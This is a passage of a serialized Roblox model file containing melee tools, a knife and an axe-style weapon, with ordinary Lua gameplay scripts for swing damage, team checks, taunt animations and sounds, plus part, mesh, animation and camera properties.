&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4618">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=17
swingdamage=27
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.6)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.6)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.6)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.6)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4619">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>-1</Y>
					<Z>0</Z>
					<R00>0.99999994</R00>
					<R01>-0.000399919983</R01>
					<R02>-9.99999975e-005</R02>
					<R10>0.000399919983</R10>
					<R11>0.99999994</R11>
					<R12>0</R12>
					<R20>9.99999829e-005</R20>
					<R21>-3.99919955e-008</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Knife</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122088343</url></Content>
				<string name="ToolTip">Knife</string>
			</Properties>
			<Item class="Part" referent="RBX4620">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>19.9300003</X>
						<Y>92.7100067</Y>
						<Z>27.9300022</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.400000006</X>
						<Y>3.00000048</Y>
						<Z>0.800000012</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4621">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=121944778  </url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4622">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4623">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4624">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4625">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4626">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4627">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4628">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4629">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4630">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4631">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4632">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4633">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4634">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4635">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4636">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4637">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4638">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4639">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4640">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4641">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4642">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4643">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4644">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4645">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4646">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4647">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4648">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4649">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4650">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4651">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX4652">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX4653">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">RightSlash</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX4654">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX4655">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>3.00843692</X>
						<Y>2.04299498</Y>
						<Z>0.38796404</Z>
						<R00>-0.0349010229</R00>
						<R01>-0.166666746</R01>
						<R02>0.985395551</R02>
						<R10>-2.60770321e-007</R10>
						<R11>0.985996127</R11>
						<R12>0.166768327</R12>
						<R20>-0.99939096</R20>
						<R21>0.00582012534</R21>
						<R22>-0.034412384</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4656">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4657">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=96559159</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4658">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=96559161</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX4659">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4660">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=10
swingdamage=20
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.33)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.33)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.33)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.33)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4661">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.25</X>
					<Y>-0.699999988</Y>
					<Z>-0.330000013</Z>
					<R00>0.970145345</R00>
					<R01>-2.23517418e-008</R01>
					<R02>0.242524207</R02>
					<R10>0.242512077</R10>
					<R11>0.00999963284</R11>
